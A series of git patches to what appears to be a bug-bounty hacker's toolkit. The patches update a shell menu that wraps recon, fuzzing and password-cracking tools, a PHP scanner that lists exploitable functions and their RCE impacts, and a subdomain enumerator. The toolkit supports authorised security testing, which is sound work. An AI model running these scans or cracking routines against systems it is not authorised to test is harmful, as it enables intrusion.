"$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN photon $GRAY[HOST] [OUTPUT_DIR]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From 1b0d1c8d29263d79eee25f8ca0a3bec7c300fce1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 16 Feb 2024 22:06:58 +0000 Subject: [PATCH 310/369] [s0mbra] arjun for url parameters discovery --- s0mbra.sh | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index aecac6c..cd7f01f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -377,6 +377,20 @@ recon() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +# runs GET parameter(s) discovery +_arjun() { + clear + DICT_PATH="/Users/bl4de/hacking/dictionaries" + if [[ -z $2 ]]; then + SELECTED_DICT=urlparams_medium.txt + else + SELECTED_DICT=$2 + fi + echo -e "$BLUE[s0mbra] Trying to discover GET params on $1 using $SELECTED_DICT...$GRAY" + arjun -u "$1" -w "$DICT_PATH/$SELECTED_DICT" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + fu() { clear @@ -753,6 +767,9 @@ case "$cmd" in photon) photon "$2" "$3" ;; + arjun) + _arjun "$2" "$3" + ;; recon) recon "$2" "$3" "$4" ;; @@ -876,8 +893,7 @@ case "$cmd" in echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR" - + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL\t\t$CYAN arjun $GRAY[HOST] [DICT]$CLR" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" From d5a985269e254a32d0200d1129b690ed9129c6ba Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 25 Feb 2024 11:02:37 +0000 Subject: [PATCH 311/369] [s0mbra] arjun fix --- s0mbra.sh | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index cd7f01f..59e9768 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -380,14 +380,13 @@ recon() { # runs GET parameter(s) discovery _arjun() { clear - DICT_PATH="/Users/bl4de/hacking/dictionaries" if [[ -z $2 ]]; then - SELECTED_DICT=urlparams_medium.txt + SELECTED_DICT=/Users/bl4de/hacking/dictionaries/urlparams_medium.txt else - SELECTED_DICT=$2 + SELECTED_DICT="$2" fi echo -e "$BLUE[s0mbra] Trying to discover GET params on $1 using $SELECTED_DICT...$GRAY" - arjun -u "$1" -w "$DICT_PATH/$SELECTED_DICT" + arjun -u "$1" -w $SELECTED_DICT echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 59115096ab5a02d1fca7978d11b3165f9d450610 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Feb 2024 07:55:02 +0000 Subject: [PATCH 312/369] [s0mbra] missing space --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 59e9768..31933ca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -905,7 +905,7 @@ case "$cmd" in echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[HASHES][FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" echo -e "$CYAN john_pot$CLR" From 01e7be5db84a131591d6d4488ed7a2d95aaadf1f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Feb 2024 15:52:42 +0000 Subject: [PATCH 313/369] [s0mbra] Update peek() --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 31933ca..6a68539 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -230,7 +230,7 @@ scope() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -rl 20 -exclude-cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From b5fd2150dd3ffa10103b3230fa5c5272457ac0f6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 31 Mar 2024 20:55:42 +0100 Subject: [PATCH 314/369] [s0mbra] Added 401 to default HTTP response codes in fu() --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6a68539..2e357df 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -402,7 +402,7 @@ fu() { # set response status code(s) to match on: if [[ -z $4 ]]; then - HTTP_RESP_CODES=200,206,301,302,500 + HTTP_RESP_CODES=200,206,301,302,401,500 else HTTP_RESP_CODES=$4 fi From b729f576c6b914d218b1f8f7a965786f51320ab5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 14 Apr 2024 21:31:35 +0100 Subject: [PATCH 315/369] [s0mbra] do not clear the screen when fu() is called --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2e357df..73d42db 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -391,8 +391,6 @@ _arjun() { } fu() { - clear - # use starter.txt as default dictionary if [[ -z $2 ]]; then SELECTED_DICT=starter From d7567d8b19604a1a44571c3eee7886f8ba34ccee Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 12 May 2024 19:37:59 +0100 Subject: [PATCH 316/369] [s0mbra] remove unused tool --- s0mbra.sh | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 73d42db..4dc2304 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -727,13 +727,6 @@ shells() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# looks for default credentials in service/software/hardware -defcreds() { - echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" - creds search $1 - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - # decodes Base64 string b64() { echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" @@ -797,9 +790,6 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; - defcreds) - defcreds "$2" - ;; unmin) unmin "$2" ;; @@ -904,8 +894,7 @@ case "$cmd" in echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" - echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" - echo -e "$CYAN john_pot$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN john_pot$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" From 299771d09d71b3e2b37a8552a243bd41bbff7632 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 15 Jun 2024 16:54:55 +0100 Subject: [PATCH 317/369] [pef] Refactoring; bugfixing; added -f/--function to search for sinlge function only --- pef/pef.py | 54 ++++++++++++++++++++++++++++++------------------------ 1 file changed, 30 insertions(+), 24 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 6860357..136ae84 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -171,20 +171,20 @@ class PefEngine: implements pef engine """ - def __init__(self, level, source_or_sink, filename, dirs_to_scan, skip_vendor=False): + def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction): """ constructor """ - self.level = level # scan only for level set of functions + self.level = level # scan only for level set of functions self.source_or_sink = source_or_sink # show only sinks or sources - self.filename = filename # name of file/folder to scan - self.dirs_to_scan = dirs_to_scan # name(s) of dirs to scan + self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor + self.phpfunction = '' if phpfunction is None else phpfunction - self.scanned_files = 0 # number of scanned files in total - self.found_entries = 0 # total number of findings + self.scanned_files = 0 # number of scanned files in total + self.found_entries = 0 # total number of findings - self.severity = { # severity scale + self.severity = { # severity scale "high": 0, "medium": 0, "low": 0 @@ -227,18 +227,24 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou found = 0 # print legend only if there i sentry in pefdocs.py + if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': - if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor( - impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) - found += 1 + if self.phpfunction == '' or self.phpfunction in fn: + if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, + beautyConsole.getColor( + impact_color[impact]), + beautyConsole.getColor(impact_color[impact]), + _line.strip()[:255], + beautyConsole.getColor("grey"))) + found += 1 if impact not in severity.keys(): severity[impact] = 1 else: @@ -271,6 +277,7 @@ def run(self): """ total_found = 0 os.system('clear') + print( f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") @@ -278,15 +285,13 @@ def run(self): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue - # if self.dirs_to_scan and self.not_in_dirs_to_scan(root): - # continue prev_filename = "" for f in files: extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 (res, file_found) = self.main(os.path.join(root, f)) - if res is not None and f != prev_filename: + if self.phpfunction == '' and res is not None and f != prev_filename: print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") prev_filename = f total_found += file_found @@ -309,7 +314,7 @@ def print_summary(self, total_found: int) -> None: """ print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") print( - f"{beautyConsole.getColor('white')}Cmd arguments: {' '.join(sys.argv[1:])}\n") + f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}\n") # main program @@ -320,6 +325,7 @@ def print_summary(self, total_found: int) -> None: add_help=True ) filename = '.' # initial value for file/dir to scan is current directory + phpfunction = '' parser.add_argument( "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") @@ -331,14 +337,15 @@ def print_summary(self, total_found: int) -> None: "-K", "--sink", help="show only sinks", action="store_true") parser.add_argument( "-f", - "--file", - help="File or directory name to scan", + "--function", + help="Search for particular PHP function (eg. unserialize)", ) parser.add_argument( "-d", "--dir", - help="List of directories to scan (mutually exclusive with -f flag)", + help="Directory to scan (or sinlge file, optionally)", ) + args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' @@ -349,10 +356,9 @@ def print_summary(self, total_found: int) -> None: if args.sink: source_or_sink = 'sink' - dirs_to_scan = args.dir - filename = args.file + filename = args.dir # main orutine starts here engine = PefEngine(level, source_or_sink, - filename, dirs_to_scan, args.skip_vendor) + filename, args.skip_vendor, args.function) engine.run() From aa7b5a0b022f68fb9ce97565487a794b80dd53b5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 23 Jun 2024 23:50:27 +0100 Subject: [PATCH 318/369] [s0mbra] notification after fu, peek, nmap scans --- pef/imports/pefdocs.py | 12 ++++++------ s0mbra.sh | 5 +++++ 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 1863d39..f405130 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -85,14 +85,14 @@ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", "popen ( string $command , string $mode ) : resource", "Code Injection", - "medium", + "high", "sink" ], "proc_open()": [ "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", "Code Injection", - "medium", + "high", "sink" ], "pcntl_exec()": [ @@ -538,28 +538,28 @@ "$_POST reference found", "", "", - "critical", + "high", "source" ], "$_GET": [ "$_GET reference found", "", "", - "critical", + "high", "source" ], "$_REQUEST": [ "$_REQUEST reference found", "", "", - "critical", + "high", "source" ], "$_COOKIES": [ "$_COOKIES reference found", "", "", - "critical", + "high", "source" ] } diff --git a/s0mbra.sh b/s0mbra.sh index 4dc2304..c2478f4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -32,6 +32,7 @@ full_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' } # runs --top-ports $2 against IP @@ -45,6 +46,7 @@ quick_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' } # runs Python 3 built-in HTTP server on [PORT] @@ -84,6 +86,7 @@ rockyou_john() { fi cat "$HACKING_HOME"/tools/jtr/run/john.pot echo -e "\n$BLUE[s0mbra] Done." + osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' } # show JTR's pot file @@ -296,6 +299,7 @@ peek() { echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" + osascript -e 'display notification "peek finished, choomba!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? @@ -425,6 +429,7 @@ fu() { ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "ffuf finished, choomba!" with title "s0mbra says:"' } api_fuzz() { From 40421fdd5df10082e01704b024fabe937f838019 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 30 Jun 2024 10:55:15 +0100 Subject: [PATCH 319/369] [pef] added verbose output --- pef/pef.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 136ae84..6c8180d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -171,7 +171,7 @@ class PefEngine: implements pef engine """ - def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction): + def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): """ constructor """ @@ -180,7 +180,7 @@ def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction): self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor self.phpfunction = '' if phpfunction is None else phpfunction - + self.verbose = verbose self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -214,7 +214,7 @@ def analyse_line(self, l, i, fn, f, line): f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) return res - def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL', verbose=False): """ prints formatted code line """ @@ -244,6 +244,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) + if self.verbose: + print(f"\t{doc[1]}\n\t{doc[0]}\n") found += 1 if impact not in severity.keys(): severity[impact] = 1 @@ -329,6 +331,8 @@ def print_summary(self, total_found: int) -> None: parser.add_argument( "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") + parser.add_argument( + "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") parser.add_argument( @@ -360,5 +364,5 @@ def print_summary(self, total_found: int) -> None: # main orutine starts here engine = PefEngine(level, source_or_sink, - filename, args.skip_vendor, args.function) + filename, args.skip_vendor, args.function, args.verbose) engine.run() From c1413e9b84296fa407a24aa57806863acbb39cfa Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 2 Jul 2024 01:04:18 +0100 Subject: [PATCH 320/369] [pef] added some functions --- pef/imports/pefdocs.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index f405130..e6fa9ab 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -479,6 +479,20 @@ "medium", "sink" ], + "__serialize()": [ + "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__unserialize()": [ + "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], "__call()": [ "Triggered when invoking inaccessible methods in an object context", "public __call ( string $name , array $arguments ) : mixed", @@ -486,6 +500,20 @@ "medium", "sink" ], + "__get()": [ + "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", + "public __get ( string $name ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__set()": [ + "Is run when writing data to inaccessible (protected or private) or non-existing properties.", + "public __set ( string $name, mixed $value ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], "__callStatic()": [ "Triggered when invoking inaccessible methods in a static context.", "public static __callStatic ( string $name , array $arguments ) : mixed", From a0783e43651421a530847963769321a6116f125f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 23 Jul 2024 20:26:16 +0100 Subject: [PATCH 321/369] [s0mbra] notification message --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index c2478f4..924c6e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -299,7 +299,7 @@ peek() { echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "peek finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choomba, peek finished!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? From ea00bf374874c7e5596f960242abe89e2531d7d3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 23 Jul 2024 20:34:14 +0100 Subject: [PATCH 322/369] [denumerator] refactoring --- denumerator/denumerator.py | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index dad6987..da41757 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -1,11 +1,10 @@ -#!/usr/bin/env python3 +#!/usr/bin/env python # pylint: disable=invalid-name """ @TODO - results summary """ - """ --- dENUMerator --- @@ -20,14 +19,15 @@ $ ./denumerator.py [domain_list_file] """ - import argparse +import json import os import subprocess import time -import requests -import json from datetime import datetime + +import requests + welcome = """ --- dENUMerator --- usage: @@ -288,8 +288,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ b"\n") if port.find(b"open") > 0] for port in open_ports: nmap_html = nmap_html + \ - "

{}

".format( - port.decode("utf-8")) + "

{}

".format( + port.decode("utf-8")) nmap_html = nmap_html + "" # HTTP response headers @@ -331,13 +331,13 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ """.format( - (http_status_code//100), + (http_status_code // 100), http_status_code_color, element_class_name, http_status_code, url, url, - (http_status_code//100), + (http_status_code // 100), element_class_name, screenshot_name, screenshot_name, @@ -392,7 +392,8 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses return resp.status_code -def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, + show=False): """ enumerates domain from domains """ @@ -414,7 +415,8 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_output = subprocess.run( ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) + for port in nmap_output.stdout.split(b"\n") if + port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) @@ -473,14 +475,14 @@ def enumerate_from_crt_sh(domain): def main(): - parser = argparse.ArgumentParser() allowed_http_responses = [] parser.add_argument( "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored)") parser.add_argument( - "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") + "-t", "--target", + help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions", action='store_true') parser.add_argument( @@ -488,10 +490,12 @@ def main(): parser.add_argument( "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( - "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", + default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", action='store_true' + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", + action='store_true' ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 From a73834660df5f7131b56f2c303c2a3a3079eefef Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 02:22:02 +0100 Subject: [PATCH 323/369] [pef] bugfixes --- pef/pef.py | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 6c8180d..ae0d5b2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -32,10 +32,10 @@ # - repeat until the source # -import sys +import argparse import os import re -import argparse +import sys from imports import pefdocs from imports.beautyConsole import beautyConsole @@ -200,6 +200,7 @@ def analyse_line(self, l, i, fn, f, line): if occurence found, output is printed """ res = None + number_of_isses = 0 # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = f"@{fn}" fn = f"{fn}" @@ -211,8 +212,10 @@ def analyse_line(self, l, i, fn, f, line): f.name, l, i, fn, self.severity, self.level, self.source_or_sink) else: res = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) - return res + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + number_of_isses = number_of_isses + 1 if res is not None else number_of_isses + return number_of_isses def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL', verbose=False): """ @@ -251,7 +254,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - return found > 0 + return found def main(self, src): """ @@ -268,9 +271,10 @@ def main(self, src): if self.level: if not self.is_comment(line): for fn in exploitableFunctions: - if self.analyse_line(l, i, fn, f, line) == True: + number_of_issues = self.analyse_line(l, i, fn, f, line) + if number_of_issues > 0: res = True - file_found += 1 + file_found += number_of_issues return (res, file_found) # return how many findings in current file def run(self): @@ -299,7 +303,7 @@ def run(self): total_found += file_found else: self.scanned_files = self.scanned_files + 1 - (res, self.found_entries) = self.main(self.filename) + (res, total_found) = self.main(self.filename) # print summary self.print_summary(total_found) @@ -315,8 +319,8 @@ def print_summary(self, total_found: int) -> None: prints summary at the bottom of search results """ print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") - print( - f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}\n") + print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") + print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") # main program @@ -336,9 +340,9 @@ def print_summary(self, total_found: int) -> None: parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") parser.add_argument( - "-S", "--source", help="show only sources", action="store_true") + "-S", "--sources", help="show only sources", action="store_true") parser.add_argument( - "-K", "--sink", help="show only sinks", action="store_true") + "-K", "--sinks", help="show only sinks", action="store_true") parser.add_argument( "-f", "--function", @@ -352,12 +356,12 @@ def print_summary(self, total_found: int) -> None: args = parser.parse_args() - level = args.level.upper() if args.level else 'ALL' + level = args.level.upper() if args.level else 'MEDIUM,HIGH,CRITICAL' source_or_sink = 'ALL' - if args.source: + if args.sources: source_or_sink = 'source' - if args.sink: + if args.sinks: source_or_sink = 'sink' filename = args.dir From 69337abd0b351eaed21a64ab671456a8d840dfd4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 07:41:47 +0100 Subject: [PATCH 324/369] [pef] bugfixes --- pef/pef.py | 39 +++++++++++++++++++++------------------ 1 file changed, 21 insertions(+), 18 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index ae0d5b2..94c0c43 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -199,8 +199,8 @@ def analyse_line(self, l, i, fn, f, line): if occurence found, output is printed """ - res = None - number_of_isses = 0 + total_number_of_isses = None + meets_criteria = 0 # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = f"@{fn}" fn = f"{fn}" @@ -208,16 +208,16 @@ def analyse_line(self, l, i, fn, f, line): # @ prevents from output being echoed if fn in line or atfn in line: if fn == "`": - res = self.print_code_line( + total_number_of_isses = self.print_code_line( f.name, l, i, fn, self.severity, self.level, self.source_or_sink) else: - res = self.print_code_line( + total_number_of_isses = self.print_code_line( f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, 